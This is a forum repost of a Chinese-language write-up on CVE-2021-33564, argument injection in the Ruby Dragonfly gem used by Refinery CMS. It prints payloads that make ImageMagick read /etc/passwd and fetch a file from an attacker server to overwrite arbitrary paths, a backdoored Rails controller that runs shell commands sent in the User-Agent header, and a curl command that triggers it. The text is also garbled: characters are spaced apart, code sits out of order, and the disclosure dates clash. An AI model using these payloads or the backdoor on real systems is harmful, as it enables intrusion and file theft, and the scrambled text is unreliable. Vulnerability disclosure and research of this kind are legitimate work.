搜索

[28973] 2021-05-29_CVE-2021-33564RubyDragonfly中的参数注入

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-05-29_CVE-2021-33564RubyDragonfly中的参数注入 C V E - 2 0 2 1 - 3 3 5 6 4   R u b y   D r a g o n f l y   中 的 参 数 注 入 O t s 安 全   2 0 2 1 - 0 5 - 2 9 介 绍 介 绍 在 最 近 的 一 次 客 户 参 与 中 ， 我 们 发 现 R e f i n e r y   C M S   的 某 些 配 置 中 存 在 参 数 注 入 漏 洞 。 经 过 进 一 步 调 查 ， 了 解 到 该 问 题 的 根 本 原 因 存 在 于   R u b y G e m   D r a g o n f l y   中 ， 它 是 一 个 流 行 的 图 像 处 理 库 ， 被 R e f i n e r y   C M S 、 L o c o m o t i v e   C M S 和 A l c h e m y   C M S 等 多 个   C M S   使 用 。 这 篇 文 章 概 述 了 此 漏 洞 的 技 术 细 节 、 利 用 过 程 以 及 对 用 户 和 组 织 的 影 响 。 D r a g o n f l y   R u b y   G e m D r a g o n f l y   库 允 许 在 网 站 上 进 行 图 像 处 理 ， 例 如 生 成 图 像 缩 略 图 、 文 本 图 像 或 一 般 只 管 理 附 件 。 为 了 说 明 这 个 想 法 ， 一 个 用 于 获 取 图 像 的 示 例 U R L   如 下 所 示 （ 如   R e f i n e r y   C M S 文 档 中 所 述 ） ： 然 后 可 以 将   b a s e 6 4   编 码 部 分 解 码 为 ： 这 会 指 示   D r a g o n f l y   应 用 程 序 首 先 从 文 件 数 据 存 储 中 获 取 指 定 的 图 像 ， 然 后 将 图 像 作 为 2 2 5 x 2 5 5 缩 略 图 提 供 。 漏 洞 发 现 漏 洞 发 现 # 1   尝 试 尝 试   -   本 地 文 件 包 含 本 地 文 件 包 含   ( L F I ) 观 察   b a s e 6 4   解 码 后 的 字 符 串 ， 我 们 可 以 推 断 出 它 f 并 p 表 示 采 用 可 变 数 量 参 数 的 某 些 类 型 的 操 作 。 特 别 是 ， 该 f 操 作 似 乎 执 行 文 件 操 作 。 我 们 决 定 测 试   L F I   有 效 载 荷 ， 例 如 . . / . . / 及 其 变 体 。 示 例 有 效 负 载 如 下 所 示 ： 但 是 ， 没 有 一 个 有 效 载 荷 起 作 用 。 为 了 找 出 原 因 ， 我 们 设 置 了 一 个 本 地   R e f i n e r y   C M S   实 例 并 为 其 附 加 了 一 个 调 试 器 。 事 实 证 明 ， 有 几 个 限 制 。 应 用 程 序 ： 检 查 是 否 存 在 . . / ;   和 将 应 用 程 序 根 目 录 添 加 到 该 路 径 。 由 于 这 些 验 证 ， L F I   的 利 用 没 有 成 功 。 # 2   尝 试 尝 试   -   命 令 注 入 命 令 注 入 但 是 ， 从 示 例   U R L   中 可 以 看 出 ， 可 用 的 操 作 比 f .   通 过 分 析 D r a g o n f l y 的 源 代 码 ， 很 清 楚 D r a g o n f l y 管 理 这 些 操 作 的 方 式 是 通 过 一 系 列 工 作 来 进 行 的 。 可 提 供 的 职 位 如 下 ： f :   f e t c h f f :   f e t c h _ f i l e f u :   f e t c h _ u r l g :   g e n e r a t e p :   p r o c e s s 该 f e t c h 作 业 之 前 已 针 对   L F I   进 行 过 测 试 ， 但 未 成 功 。 由 于 下 面 显 示 的 许 可 名 单 功 能 ， f e t c h _ f i l e 和 f e t c h _ u r l 作 业 也 没 有 成 功 ： / s y s t e m / i m a g e s / W 1 s i Z i I s I j I w M T U v M D Q v M j E v N j R l Z 2 d 5 M j J z c l 9 C d W x s d 2 l u a 2 x l L m p w Z y J d L F s i c C I s I n R o d W 1 i I i w i M j I 1 e D I 1 N V x 1 M D A z Z S J d X Q / B u l l w i n k l e . j p g [ [ " f " , " 2 0 1 5 / 0 4 / 2 1 / 6 4 e g g y 2 2 s r _ B u l l w i n k l e . j p g " ] , [ " p " , " t h u m b " , " 2 2 5 x 2 5 5 u 0 0 3 e " ] ] [ [ " f " , " . . / . . / . . / . . / . . / e t c / p a s s w d " ] ] d e f   v a l i d a t e _ f e t c h _ f i l e _ s t e p ! ( s t e p )
剩 下 的 两 种 工 作 类 型 是 g e n e r a t e 和 p r o c e s s 。 如 D r a g o n f l y 文 档 中 所 述 ， 这 两 种 类 型 的 作 业 都 支 持 I m a g e M a g i c k c o n v e r t 实 用 程 序 。 例 如 ， U R L 的 b a s e 6 4 编 码 部 分 解 码 为 以 下 有 效 负 载 ： 它 被 解 释 为 以 下   s h e l l   命 令 ： 我 们 可 以 看 到 我 们 能 够 控 制 命 令 的 两 个 部 分 ， 即 命 令 的 第 一 个 参 数 c o n v e r t ， 以 及 指 示 文 件 将 转 换 为 的 格 式 的 扩 展 名 。 这 表 明 了 命 令 注 入 的 可 能 性 。 S h e l l   命 令 参 数 注 入 命 令 参 数 注 入 最 初 的 测 试 显 示 ， 指 令 喷 射 的 有 效 载 荷 ， 例 如 & & ， | | ， 或 $ ( ) 将 被 阻 止 。 原 来 这 是 由 于 以 下 代 码 ： 在 执 行 命 令 之 前 ， 它 们 首 先 使 用   R u b y   G e m   S h e l l w o r d s   的 s h e l l s p l i t 函 数 进 行 拆 分 。 接 下 来 ， 个 别 参 数 被 转 义 S h e l l w o r d s . e s c a p e 。 的 e s c a p e 函 数 被 示 出 如 下 ：     u n l e s s   f e t c h _ f i l e _ w h i t e l i s t . i n c l u d e ? ( s t e p . p a t h )         r a i s e   J o b N o t A l l o w e d ,   " f e t c h   f i l e   # { s t e p . p a t h }   d i s a l l o w e d   -   u s e   f e t c h _ f i l e _ w h i t e l i s t   t o   a l l o w   i t "     e n d e n d d e f   v a l i d a t e _ f e t c h _ u r l _ s t e p ! ( s t e p )     u n l e s s   f e t c h _ u r l _ w h i t e l i s t . i n c l u d e ? ( s t e p . u r l )         r a i s e   J o b N o t A l l o w e d ,   " f e t c h   u r l   # { s t e p . u r l }   d i s a l l o w e d   -   u s e   f e t c h _ u r l _ w h i t e l i s t   t o   a l l o w   i t "     e n d e n d / s y s t e m / i m a g e s / W 1 s i Z y I s I C J j b 2 5 2 Z X J 0 I i w g I n R l c 3 Q u a n B n I i w g I n B u Z y J d X Q = = [ [ " g " ,   " c o n v e r t " ,   " t e s t . j p g " ,   " p n g " ] ] c o n v e r t   t e s t . j p g   / t m p / d r a g o n f l y < v a r i a b l e _ l e n g t h _ s t r i n g > . p n g d e f   r u n ( c o m m a n d ,   o p t s = { } )     c o m m a n d   =   e s c a p e _ a r g s ( c o m m a n d )   u n l e s s   o p t s [ : e s c a p e ]   = =   f a l s e     D r a g o n f l y . d e b u g ( " s h e l l   c o m m a n d :   # { c o m m a n d } " )     r u n _ c o m m a n d ( c o m m a n d ) e n d d e f   e s c a p e _ a r g s ( a r g s )     a r g s . s h e l l s p l i t . m a p { | a r g |   e s c a p e ( a r g )   } . j o i n ( '   ' ) e n d d e f   e s c a p e ( s t r i n g )     S h e l l w o r d s . e s c a p e ( s t r i n g ) e n d d e f   s h e l l e s c a p e ( s t r )     s t r   =   s t r . t o _ s
这 有 效 地 阻 止 了 大 多 数 特 殊 字 符 。 但 是 ， 由 于 s h e l l s p l i t 首 先 使 用 了 用 户 输 入 字 符 串 ， 所 以 我 们 可 以 使 用 空 格 或 换 行 符 来 插 入 参 数 。 例 如 ， 有 效 载 荷 [ [ " g " ,   " c o n v e r t " ,   "   - h e l p   t e s t . p n g " ,   " p n g " ] ] 将 被 解 释 为 ： 这 允 许 将 任 意 参 数 注 入 c o n v e r t 命 令 （ 这 可 能 是 设 计 使 然 ） 。 但 是 ， 利 用 论 点 注 入 需 要 更 多 的 研 究 。 因 此 ， 我 们 需 要 深 入 研 究   I m a g e M a g i c k   的 功 能 ， 找 到 一 种 方 法 来 实 现 任 意 文 件 的 读 写 。 探 索 探 索   I m a g e M a g i c k I m a g e M a g i c k   的 一 个 功 能 是 将 非 图 像 文 件 转 换 为 图 像 。 在 “ 支 持 的 图 像 格 式 ” 文 档 中 ， 有 I m a g e M a g i c k 支 持 的 格 式 列 表 。 其 中 一 种 格 式 r g b 允 许 将 图 像 作 为 原 始 R G B 值 读 取 。 要 使 用 该 r g b 选 项 ， 还 必 须 提 供 - s i z e a n d - d e p t h 选 项 。 接 下 来 ， 有 一 个 可 以 使 用   I m a g e M a g i c k   将 输 入 文 件 转 换 为 的 格 式 列 表 。 其 中 一 种 格 式 是   B M P ， 它 既 是 无 损 又 是 未 压 缩 的 ， 因 此 在 转 换 过 程 中 不 会 丢 失 任 何 信 息 。 结 合 这 些 ， 以 下 命 令 会 将 / e t c / p a s s w d 文 件 转 换 为 t e s t . b m p ： t e s t . b m p   的 结 果 如 下 图 所 示 ：     s t r   =   s t r . t o _ s     #   A n   e m p t y   a r g u m e n t   w i l l   b e   s k i p p e d ,   s o   r e t u r n   e m p t y   q u o t e s .     r e t u r n   " ' ' " . d u p   i f   s t r . e m p t y ?     s t r   =   s t r . d u p     #   T r e a t   m u l t i b y t e   c h a r a c t e r s   a s   i s .     I t   i s   t h e   c a l l e r ' s   r e s p o n s i b i l i t y     #   t o   e n c o d e   t h e   s t r i n g   i n   t h e   r i g h t   e n c o d i n g   f o r   t h e   s h e l l     #   e n v i r o n m e n t .     s t r . g s u b ! ( / [ ^ A - Z a - z 0 - 9 _ - . , : + / @ n ] / ,   " & " )     #   A   L F   c a n n o t   b e   e s c a p e d   w i t h   a   b a c k s l a s h   b e c a u s e   a   b a c k s l a s h   +   L F     #   c o m b o   i s   r e g a r d e d   a s   a   l i n e   c o n t i n u a t i o n   a n d   s i m p l y   i g n o r e d .     s t r . g s u b ! ( / n / ,   " ' n ' " )     r e t u r n   s t r e n d c o n v e r t   - h e l p   t e s t . p n g   / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . p n g c o n v e r t   - s i z e   < f i l e _ s i z e > x 1   - d e p t h   8   r g b : / e t c / p a s s w d   / t m p / t e s t . b m p B M & | 4 ▒ B G R s ( `   @ 3 3 f f & @ f f     < $ 2 o o r x : t : 0 : r : 0 t o o r / : t o o b / : / n i s a b d h m e a : n o 1 : x : 1 : e a d n o m u / : / r s i b s / : n r s u b s / / n i l o n i g o b n : n i 2 : x : 2 : n i b b / : : n i s u / s / r n i b o n / g o l n i s y s : x : 3 : 3 y s : / : s v e d u / : / r s i b s n / n o l o n i g y s : c n 4 : x 5 6 : 4 3 5 y s : : c n i b / / : n n i b y s / c n m a g : s e 5 : x 0 6 : a g : s e m u / : / r s m a g : s e s u / s / r n i b o n / g o l n i n a m : x : 1 : 6 m : 2 : n a a v / c / r h c a m / e : n a s u / s / r n i b o n / g o l n i : p l 7 : x : 7 : : p l a v / s / r o o p l / l : d p s u / s / r n i b o n / g o l
要 转 换 t e s t . b m p 回 来 ， 我 们 可 以 通 过 发 出 命 令 来 反 转 操 作 ， c o n v e r t   t e s t . b m p   r g b : t e s t . o u t 并 且 t e s t . o u t 将 包 含 大 致   相 同 的 内 容 / e t c / p a s s w d 。 但 是 ， 如 果 文 件 大 小 不 能 完 全 被   3   整 除 ， 则 文 件 的 最 后 一 到 两 个 字 节 将 被 截 断 ， 因 为   R G B   格 式 要 求 每 个 像 素 恰 好 三 个 字 节 。 此 外 ， 由 于 我 们 事 先 不 知 道 实 际 文 件 大 小 ， 因 此 我 们 需 要 一 些 方 法 来 找 到 正 确 的 文 件 大 小 。 当 然 ， 这 可 以 通 过 基 于 相 似 文 件 的 强 行 强 制 或 猜 测 来 实 现 。 但 是 ， 如 果 提 供 的 文 件 大 小 大 于 或 小 于 实 际 文 件 大 小 ， 应 用 程 序 会 返 回 不 同 的 响 应 ， 因 此 可 以 使 用 二 进 制 搜 索 算 法 。 虽 然 上 面 讨 论 的 方 法 已 经 足 够 好 了 ， 但 仍 有 更 多 的 空 间 来 改 进 这 些 技 术 。 通 过 进 一 步 的 研 究 ， 我 们 发 现 通 过 指 定 不 受 支 持 的 随 机 格 式 （ 例 如 o u t 或 ） f o o b a r ， 输 入 文 件 的 原 始 内 容 将 被 复 制 到 目 标 位 置 ， 而 无 需 在 实 际 的 图 像 格 式 中 进 行 编 码 。 此 外 ， 由 于   I m a g e M a g i c k   不 执 行 任 何 未 知 输 出 格 式 的 转 换 ， - s i z e 因 此 未 使 用 实 际 参 数 ， 因 此 可 以 包 含 任 何 值 。 这 消 除 了 确 定 实 际 文 件 大 小 的 需 要 。 文 件 大 小 需 要 被 三 整 除 的 问 题 也 可 以 绕 过 。 代 替 使 用 r g b : ， 我 们 可 以 使 用 g r a y : 选 项 将 图 像 读 取 为 原 始 的 单 字 节 灰 色 样 本 。 结 合 这 些 改 进 ， 我 们 形 成 以 下 命 令 ， 该 命 令 将 复 制 / e t c / p a s s w d t o 的 全 部 内 容 而 / t m p / t e s t . o u t 无 需 编 码 ： 执 行 命 令 后 ， 的 内 容 与 / t m p / t e s t . o u t 以 下 内 容 完 全 相 同 / e t c / p a s s w d ： n i i a m x : l : 8 : m : 8 l i a v / : / r a i a m / : l r s u b s / / n i l o n i g o n n s w e : x : 9 : 9 e n : : s w a v / s / r o o p n / l s w e u / : / r s i b s n / n o l o n i g u u : p c 1 : x 1 : 0 u : 0 p c u v / : / r a o p s / l o c u u / : p r s u b s / / n i l o n i g o p n x o r x : y 3 1 : 3 1 : r p : y x o b / : : n i s u / s / r n i b o n / g o l n i w w w a d - : a t 3 : x 3 : 3 w : 3 - w w t a d / : a r a v w w / / : w r s u b s / / n i l o n i g o b n k c a : p u 3 : x 3 : 4 b : 4 k c a : p u a v / b / r k c a s p u u / : / r s i b s n / n o l o n i g i l : t s 3 : x 3 : 8 M : 8 l i a g n i i L     t s n a M e g a / : r r a v i l / : t s s u / s / r n i b o n / g o l n i c r i : x : : 9 3 : 9 3 c r i / : d r a v u r / i / n d c r u / : / r s i b s n / n o l o n i g n g s t a : x : : 1 4 : 1 4 a n G   s t g u B e R - r o p n i t S   g t s y   m e d a ( n i m / : ) r a v i l / g / b t a n / : s r s u b s / / n i l o n i g o n n o b o : y d 6 : x 3 5 5 6 : 4 3 5 5 n : 4 o b o : y d o n / x e n t s i t n e u / : / r s i b s n / n o l o n i g a _ : t p 1 : x : 0 0 5 5 6 : 4 3 n / : e n o s i x n e t / : t r s u b s / / n i l o n i g o c o n v e r t   - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d   / t m p / t e s t . o u t r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h d a e m o n : x : 1 : 1 : d a e m o n : / u s r / s b i n : / u s r / s b i n / n o l o g i n b i n : x : 2 : 2 : b i n : / b i n : / u s r / s b i n / n o l o g i n s y s : x : 3 : 3 : s y s : / d e v : / u s r / s b i n / n o l o g i n s y n c : x : 4 : 6 5 5 3 4 : s y n c : / b i n : / b i n / s y n c g a m e s : x : 5 : 6 0 : g a m e s : / u s r / g a m e s : / u s r / s b i n / n o l o g i n m a n : x : 6 : 1 2 : m a n : / v a r / c a c h e / m a n : / u s r / s b i n / n o l o g i n l p : x : 7 : 7 : l p : / v a r / s p o o l / l p d : / u s r / s b i n / n o l o g i n m a i l : x : 8 : 8 : m a i l : / v a r / m a i l : / u s r / s b i n / n o l o g i n n e w s : x : 9 : 9 : n e w s : / v a r / s p o o l / n e w s : / u s r / s b i n / n o l o g i n u u c p : x : 1 0 : 1 0 : u u c p : / v a r / s p o o l / u u c p : / u s r / s b i n / n o l o g i n p r o x y : x : 1 3 : 1 3 : p r o x y : / b i n : / u s r / s b i n / n o l o g i n w w w - d a t a : x : 3 3 : 3 3 : w w w - d a t a : / v a r / w w w : / u s r / s b i n / n o l o g i n b a c k u p : x : 3 4 : 3 4 : b a c k u p : / v a r / b a c k u p s : / u s r / s b i n / n o l o g i n l i s t : x : 3 8 : 3 8 : M a i l i n g   L i s t   M a n a g e r : / v a r / l i s t : / u s r / s b i n / n o l o g i n
最 后 ， c o n v e r t 还 支 持 - w r i t e 除 了 原 来 指 定 的 文 件 外 还 输 出 到 另 一 个 文 件 的 参 数 。 这 允 许 我 们 选 择 文 件 将 被 写 入 的 确 切 位 置 。 总 而 言 之 ， 以 下 列 出 了 我 们 可 以 通 过 参 数 注 入 执 行 的 各 种 有 用 的 实 用 程 序 ： r g b : < f i l e n a m e > :   读 取 文 件 作 为 原 始   R G B   值 g r a y : < f i l e n a m e > ： 将 文 件 读 取 为 原 始 灰 色 样 本 - w r i t e   < o u t p u t > :   将 输 出 写 入 指 定 位 置 - s i z e   < w i d t h > x < h e i g h t > :   设 置 图 像 的 宽 度 和 高 度 - d e p t h   < o u t p u t > :   设 置 图 像 的 深 度 结 合 上 述 实 用 程 序 ， 我 们 可 以 实 现 任 意 文 件 读 写 。 在 某 些 情 况 下 ， 我 们 也 可 以 实 现 R C E 。 下 面 详 细 介 绍 开 发 过 程 。 开 发 开 发 任 意 文 件 读 取 任 意 文 件 读 取 我 们 可 以 使 用 上 述 技 术 来 执 行 任 意 文 件 读 取 。 如 下 所 示 的 有 效 负 载 读 取 目 标 / e t c / p a s s w d 文 件 ： 这 将 被 解 释 为 以 下 命 令 ： 通 过 对 上 述 有 效 负 载 进 行   b a s e 6 4   编 码 ， 我 们 可 以 在   H T T P   G E T   请 求 中 将 其 发 送 到 本 地   R e f i n e r y   C M S   实 例 。 以 下 屏 幕 截 图 显 示 命 令 执 行 成 功 ： 任 意 文 件 写 入 任 意 文 件 写 入 i r c : x : 3 9 : 3 9 : i r c d : / v a r / r u n / i r c d : / u s r / s b i n / n o l o g i n g n a t s : x : 4 1 : 4 1 : G n a t s   B u g - R e p o r t i n g   S y s t e m   ( a d m i n ) : / v a r / l i b / g n a t s : / u s r / s b i n / n o l o g i n n o b o d y : x : 6 5 5 3 4 : 6 5 5 3 4 : n o b o d y : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n _ a p t : x : 1 0 0 : 6 5 5 3 4 : : / n o n e x i s t e n t : / u s r / s b i n / n o l o g i n [ [ " g " ,   " c o n v e r t " ,   " - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d " ,   " o u t " ] ] c o n v e r t   - s i z e   1 x 1   - d e p t h   8   g r a y : / e t c / p a s s w d   / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . o u t
为 了 实 现 任 意 文 件 写 入 ， 我 们 可 以 先 使 用 以 下 命 令 在 本 地 生 成 一 个 B M P 文 件 ： 接 下 来 ， 需 要 使 用 某 种 文 件 上 传 机 制 将 图 像 文 件 上 传 到   W e b   服 务 器 上 的 已 知 位 置 。 默 认 情 况 下 ， R e f i n e r y   C M S   在 需 要 身 份 验 证 的 管 理 员 界 面 中 支 持 此 功 能 。 但 是 ， 这 可 以 绕 过 ， 因 为   I m a g e M a g i c k   支 持 转 换 由   U R L   引 用 的 图 像 。 这 有 效 地 将 此 漏 洞 转 化 为 预 授 权 任 意 文 件 写 入 。 因 此 ， 我 们 可 以 简 单 地 将 生 成 的 内 容 o u t . b m p 托 管 在 我 们 控 制 的 服 务 器 上 。 然 后 ， 我 们 可 以 发 出 以 下 有 效 负 载 ： 这 将 被 解 释 为 以 下 命 令 ： 此 命 令 下 载 o u t . b m p 我 们 正 在 使 用 的 文 件 h t t p : / / < a t t a c k e r _ s e r v e r > / 并 将 其 转 换 回 灰 色 样 本 （ 这 将 是 我 们 的 原 始 文 件 ） 。 该 - w r i t e 选 项 还 允 许 我 们 指 定 输 出 位 置 ， 从 而 允 许 将 任 意 文 件 写 入 任 何 可 写 目 录 。 远 程 代 码 执 行 远 程 代 码 执 行 一 旦 具 备 读 写 任 意 文 件 的 能 力 ， 攻 击 者 可 以 通 过 多 种 方 式 实 现   R C E 。 下 面 描 述 一 个 特 定 于   R e f i n e r y   C M S   的 场 景 。 获 得 代 码 执 行 的 一 种 方 法 是 覆 盖 a p p l i c a t i o n _ c o n t r o l l e r . r b R u b y   o n   R a i l s   应 用 程 序 中 的   。 恶 意 示 例 a p p l i c a t i o n _ c o n t r o l l e r . r b 如 下 所 示 ： c o n v e r t   - s i z e   < f i l e _ s i z e > x 1   - d e p t h   8   g r a y : < f i l e n a m e >   o u t . b m p [ [ " g " ,   " c o n v e r t " ,   " h t t p : / / < a t t a c k e r _ s e r v e r > / o u t . b m p   - w r i t e   g r a y : < t a r g e t _ l o c a t i o n   > " ,   " p n g " ] ] c o n v e r t   h t t p : / / < a t t a c k e r _ s e r v e r > / o u t . b m p   - w r i t e   g r a y : < t a r g e t _ l o c a t i o n >     / t m p / d r a g o n f l y < v a r i a b l e _ s t r i n g > . o u t c l a s s   A p p l i c a t i o n C o n t r o l l e r   <   A c t i o n C o n t r o l l e r : : B a s e i n c l u d e   A p p l i c a t i o n H e l p e r         p r o t e c t _ f r o m _ f o r g e r y   w i t h :   : e x c e p t i o n         b e f o r e _ a c t i o n   : h t t p _ b a s i c _ a u t h         l a y o u t   - >   {   p a r a m s [ : c o n t r o l l e r ]   = =   " h o m e "   ?   " a p p l i c a t i o n "   :   " c o n t e n t "   }         p r o t e c t e d d e f   h t t p _ b a s i c _ a u t h                 u a   =   r e q u e s t . e n v [ ' H T T P _ U S E R _ A G E N T ' ]                 i d x   =   u a . i n d e x ( " z x s e c u r i t y : " ) i f   i d x   ! =   n i l                         c m d   =   u a [ i d x + 1 1 . . - 1 ]                         p u t s   c m d                         r e s   =   ` # { c m d } ` ` e c h o   ' # { r e s } '   >   p u b l i c / o u t . t x t ` e n d r e t u r n   u n l e s s   E N V [ " H T T P _ B A S I C _ A U T H _ U S E R N A M E " ]   & &   E N V [ " H T T P _ B A S I C _ A U T H _ P A S S W O R D " ]                 a u t h e n t i c a t e _ o r _ r e q u e s t _ w i t h _ h t t p _ b a s i c ( " U s e r n a m e   a n d   P a s s w o r d   p l e a s e " )   d o   | u s e r n a m e ,   p a s s w o r d |                 u s e r n a m e   = =   E N V [ " H T T P _ B A S I C _ A U T H _ U S E R N A M E " ]   & &   p a s s w o r d   = =   E N V [ " H T T P _ B A S I C _ A U T H _ P A S S W O R D " ] e n d
这 会 在 目 标 应 用 程 序 中 植 入 一 个 后 门 ， z x s e c u r i t y : 以 便 执 行 通 过 用 户 代 理 提 供 的 字 符 串 后 的 操 作 系 统 命 令 ， 并 将 输 出 写 入 公 开 可 用 的 目 录 。 从 技 术 上 讲 ， 仅 当 有 人 重 新 启 动 服 务 器 时 ， 此 文 件 更 改 才 会 触 发 ， 但 是 在 某 些 情 况 下 ， 目 标 可 能 正 在 运 行 P h u s i o n   P a s s e n g e r 。 在 这 种 情 况 下 ， 如 果 文 件 < a p p _ r o o t > / t m p / r e s t a r t . t x t 更 新 ， 应 用 程 序 可 以 自 动 重 新 启 动 。 因 此 ， 攻 击 者 可 以 先 写 后 门 a p p l i c a t i o n _ c o n t r o l l e r . r b 来 < a p p _ r o o t > / a p p / c o n t r o l l e r / a p p l i c a t i o n _ c o n t r o l l e r . r b ， 然 后 写 任 意 内 容 < a p p _ r o o t > / t m p / r e s t a r t . t x t 。 然 后 服 务 器 将 使 用 后 门 重 新 启 动 ， 现 在 可 以 通 过 发 出 以 下 命 令 来 触 发 ： 影 响 的 限 制 和 分 析 影 响 的 限 制 和 分 析 此 漏 洞 有 一 个 重 要 限 制 ， 即 v e r i f y _ u r l s 必 须 明 确 禁 用 该 选 项 。 在 v e r i f y _ u r l s 做 以 下 检 查 ： 该 变 量 t o _ u n i q u e _ s 是 通 过 展 平 用 户 提 供 的   b a s e 6 4   编 码 数 组 并 连 接 所 有 字 符 串 而 获 得 的 字 符 串 。 此 代 码 生 成 H M A C - S H A 2 5 6 用 于 验 证 R E S T 请 求 的 签 名 。 除 非 可 以 获 取 应 用 程 序 秘 密 （ 即 ， 硬 编 码 的 秘 密 ） ， 否 则 此 选 项 从 根 本 上 缓 解 了 此 漏 洞 。 虽 然 不 常 见 ， 但 我 们 观 察 到 一 些   W e b   服 务 器 故 意 禁 用 此 选 项 ， 立 即 使 其 资 产 易 受 攻 击 。 如 何 修 复 如 何 修 复 确 保 v e r i f y _ u r l s 启 用 了 默 认 的   D r a g o n f l y 选 项 。 D r a g o n f l y   还 为 所 有 受 影 响 的 版 本 发 布 了 补 丁 ， 因 此 将   D r a g o n f l y   R u b y   G e m   更 新 到   1 . 4 . 0   或 更 高 版 本 可 以 缓 解 这 个 问 题 。 利 用 利 用   P o C h t t p s : / / g i t h u b . c o m / m l r 0 p / C V E - 2 0 2 1 - 3 3 5 6 4 致 谢 致 谢 感 谢 @ c l a u d i o c o n t i n 、 @ s s 2 3 和 @ s o f t p o i s o n _ 在 这 项 研 究 中 的 合 作 。 非 常 感 谢 M a r k   E v a n s 花 时 间 修 复 这 个 漏 洞 。 漏 洞 披 露 时 间 表 漏 洞 披 露 时 间 表 2 0 2 1 年 7 月 2 7 日 - 向 炼 油 厂 C M S 维 护 人 员 报 告 了 问 题 2 0 / 0 4 / 2 0 2 1 - 炼 油 厂 C M S 维 护 人 员 确 认 收 到 错 误 报 告 2 9 / 0 4 / 2 0 2 1   -   问 题 重 定 向 到   D r a g o n f l y   维 护 者 3 0 / 0 4 / 2 0 2 1   -   D r a g o n f l y   维 护 者 确 认 收 到 错 误 报 告 1 8 / 0 5 / 2 0 2 1   -   D r g a o n f l y   维 护 者 确 认 补 丁 1 9 / 0 5 / 2 0 2 1   -   从   M I T R E   请 求   C V E 2 5 / 0 5 / 2 0 2 1   -   分 配 了   C V E   I D 阅 读 原 文 e n d e n d c u r l   - A   ' z x s e c u r i t y : l s '   h t t p s : / / < t a r g e t _ s e r v e r > /   & > / d e v / n u l l   & &   c u r l   h t t p s : / / < t a r g e t _ s e r v e r > / o u t . t x t d e f   s h a     u n l e s s   a p p . s e c r e t         r a i s e   C a n n o t G e n e r a t e S h a     e n d     O p e n S S L : : H M A C . h e x d i g e s t ( ' S H A 2 5 6 ' ,   a p p . s e c r e t ,   t o _ u n i q u e _ s ) [ 0 , 1 6 ] e n d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理